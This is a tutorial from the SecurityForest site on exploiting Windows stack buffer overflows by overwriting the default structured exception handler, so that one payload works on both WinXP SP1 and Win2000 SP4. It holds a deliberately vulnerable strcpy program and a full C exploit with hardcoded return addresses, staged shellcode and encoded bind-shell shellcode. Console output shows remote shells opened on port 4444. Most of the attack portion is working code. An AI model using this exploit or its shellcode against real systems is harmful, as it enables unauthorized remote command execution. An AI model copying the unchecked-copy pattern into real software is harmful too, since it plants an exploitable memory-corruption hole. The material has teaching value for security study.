Exploit: Stack Overflows - Exploiting default seh to increase stability

From SecurityForest


Tutorial by tal.z
How-to exploit default exception handler to gain stability on win32 (Examples written for WinXP Sp1 EN And Win2000 Sp4 EN)

On this tutorial i will demonstrate how to create exploits with two return addresses

Table of contents

Necessary Tools

- OllyDBG 
- C/C++ Compiler
- nasm
- Sac

The Code

The Vulnerable Code:

//lamebuf.c
#include<stdio.h>
#include<string.h>
#include<windows.h>
int main(int argc,char *argv[]){

	char buf[512];
	char buf1[1024]; // <- simulate a stack
 //DebugBreak();
	if (argc != 2){ return -1; }

	strcpy(buf,argv[1]);
	return 0x0;
}

Overview of the exploitation process

The goal of this method is to create a stable exploit that will successfuly exploit a buffer overflow vulnerability on multiple operating systems Every win32 application has a default exception handler which is located at the end of the stack
When exploiting a normal buffer overflow vulnerability we overwrite the return address
but in this case we will continue overwriting the stack and overwrite the default exception handler as well

[Buf]                   <- Shellcode
[Return Address]        <- jmp register (for WinXP sp1)
[Various Stack Data]    <- Junk 
[Pointer To Next SEH]   <- "\xEB\x06\xff\xff" jump 6 bytes forward
[SE Handler]            <- jmp register (for Win2k sp4)
[Stage1 Shellcode]      <- stage1 shellcode for win2k

If the first return address (WinXP sp1) is wrong an exception will occur and the default exception handler will be called (Win2k sp4)
Thus allowing us to create a stable exploit with two return addresses

Getting Started

Before writing the exploit, lets see what happends when we overflow this application with 1600 bytes
The Application crashed in the following state of registers

EAX 00000000
ECX 00321404
EDX 00414141
EBX 7FFDF000
ESP 0012FF88 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
EBP 41414141
ESI 77D4595F
EDI 77F59037 ntdll.77F59037
EIP 41414141

Lets take a look at the stack and see what happend to the default exception handler

0x0012FFB0   41414141   Pointer to next SEH Record
0x0012FFB4   41414141   SE Handler

We succesfuly overwrote the return address and the default exception handler

Primary Return Address (WinXP Sp1 EN)

The first return address will be called as in a normal stack overflow
We can see that esp points to user-input, we will use that as our first stage shellcode
The return address will be 0x77F8AC16 (jmp esp on WinXP Sp1 En)
And our first stage shellcode will be :

"\x89\xE1\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE4"

For more information about exploiting stack overflows under win32 Click here

Secondary Return Address (Win2000 Sp4 EN)

The secondary return address will be called as in a normal SEH return
The return address will be 0x77F92A9B (jmp ebx on Win2k Sp4 En)
And our first stage shellcode will be:

"\x89\xC1\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE1"

For more information about exploiting structured exception handling under win32 Click here

Proof Of Concept

The Exploit:

// exploit.c
// Tal zeltzer - [Double Return] //

#include<stdio.h>
#include<string.h>
#include<windows.h>

#define RET_XP 0x77F8AC16    // WinXP Sp1 English - jmp esp
#define RET_WIN2K 0x77F92A9B // Win2k Sp4 English - jmp ebx

// Stage1 For WinXP Sp1 English
unsigned char stage1_1[] = "\x89\xE1\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE4";

// Stage1 For Win2k Sp4 English
unsigned char stage1_2[] = "\x89\xC1\xFE\xCD\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE1";

// win32_bind - Encoded Shellcode [\x00\x0a\x09] [ EXITFUNC=seh LPORT=4444 Size=399 ]  http://metasploit.com
unsigned char shellcode[] =
"\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\x4f\x85"
"\x2f\x98\x83\xeb\xfc\xe2\xf4\xb3\x6d\x79\x98\x4f\x85\x7c\xcd\x19"
"\xd2\xa4\xf4\x6b\x9d\xa4\xdd\x73\x0e\x7b\x9d\x37\x84\xc5\x13\x05"
"\x9d\xa4\xc2\x6f\x84\xc4\x7b\x7d\xcc\xa4\xac\xc4\x84\xc1\xa9\xb0"
"\x79\x1e\x58\xe3\xbd\xcf\xec\x48\x44\xe0\x95\x4e\x42\xc4\x6a\x74"
"\xf9\x0b\x8c\x3a\x64\xa4\xc2\x6b\x84\xc4\xfe\xc4\x89\x64\x13\x15"
"\x99\x2e\x73\xc4\x81\xa4\x99\xa7\x6e\x2d\xa9\x8f\xda\x71\xc5\x14"
"\x47\x27\x98\x11\xef\x1f\xc1\x2b\x0e\x36\x13\x14\x89\xa4\xc3\x53"
"\x0e\x34\x13\x14\x8d\x7c\xf0\xc1\xcb\x21\x74\xb0\x53\xa6\x5f\xce"
"\x69\x2f\x99\x4f\x85\x78\xce\x1c\x0c\xca\x70\x68\x85\x2f\x98\xdf"
"\x84\x2f\x98\xf9\x9c\x37\x7f\xeb\x9c\x5f\x71\xaa\xcc\xa9\xd1\xeb"
"\x9f\x5f\x5f\xeb\x28\x01\x71\x96\x8c\xda\x35\x84\x68\xd3\xa3\x18"
"\xd6\x1d\xc7\x7c\xb7\x2f\xc3\xc2\xce\x0f\xc9\xb0\x52\xa6\x47\xc6"
"\x46\xa2\xed\x5b\xef\x28\xc1\x1e\xd6\xd0\xac\xc0\x7a\x7a\x9c\x16"
"\x0c\x2b\x16\xad\x77\x04\xbf\x1b\x7a\x18\x67\x1a\xb5\x1e\x58\x1f"
"\xd5\x7f\xc8\x0f\xd5\x6f\xc8\xb0\xd0\x03\x11\x88\xb4\xf4\xcb\x1c"
"\xed\x2d\x98\x5e\xd9\xa6\x78\x25\x95\x7f\xcf\xb0\xd0\x0b\xcb\x18"
"\x7a\x7a\xb0\x1c\xd1\x78\x67\x1a\xa5\xa6\x5f\x27\xc6\x62\xdc\x4f"
"\x0c\xcc\x1f\xb5\xb4\xef\x15\x33\xa1\x83\xf2\x5a\xdc\xdc\x33\xc8"
"\x7f\xac\x74\x1b\x43\x6b\xbc\x5f\xc1\x49\x5f\x0b\xa1\x13\x99\x4e"
"\x0c\x53\xbc\x07\x0c\x53\xbc\x03\x0c\x53\xbc\x1f\x08\x6b\xbc\x5f"
"\xd1\x7f\xc9\x1e\xd4\x6e\xc9\x06\xd4\x7e\xcb\x1e\x7a\x5a\x98\x27"
"\xf7\xd1\x2b\x59\x7a\x7a\x9c\xb0\x55\xa6\x7e\xb0\xf0\x2f\xf0\xe2"
"\x5c\x2a\x56\xb0\xd0\x2b\x11\x8c\xef\xd0\x67\x79\x7a\xfc\x67\x3a"
"\x85\x47\x68\xc5\x81\x70\x67\x1a\x81\x1e\x43\x1c\x7a\xff\x98";


int main(int argc,char *argv[]){

char *bufExe[3];
char buf[2048];
bufExe[0] = "lamebuf.exe";
bufExe[2] = NULL;

memset(buf,0x0,sizeof(buf));
memset(buf,0x90,1652);
memcpy(&buf[24],shellcode,sizeof(shellcode)-1);

memcpy(&buf[1544],&stage1_1,sizeof(stage1_1)-1); //WinXP SP1 En - Stage1 Shellcode
memcpy(&buf[1592],&stage1_2,sizeof(stage1_2)-1); //Win2k SP4 En - Stage2 Shellcode

*(unsigned long *)&buf[1540] = RET_XP;     // First  RET (jmp esp) winXP sp1 en
*(unsigned long *)&buf[1584] = 0xcccc06EB; // For win2k - jmp 6 bytes forward to our stage1_2 code
*(unsigned long *)&buf[1588] = RET_WIN2K;  // Second RET (jmp ebx) win2k sp4 en


bufExe[1] = buf;
//Execute the vulnerable application
execve(bufExe[0],bufExe,NULL);

return 0x0;
}

Exploit under WindowsXP Sp1:

C:\>exploit
C:\>
C:\>telnet 127.0.0.1 4444

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\>

Exploit under Windows2000 Sp4:

C:\>exploit
C:\>
C:\>telnet 127.0.0.1 4444

Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:\>

Final words

This method can probbly be extended with some more research


Enjoy,
talz

(If you have any questions about this method feel free to message me)

Advertisement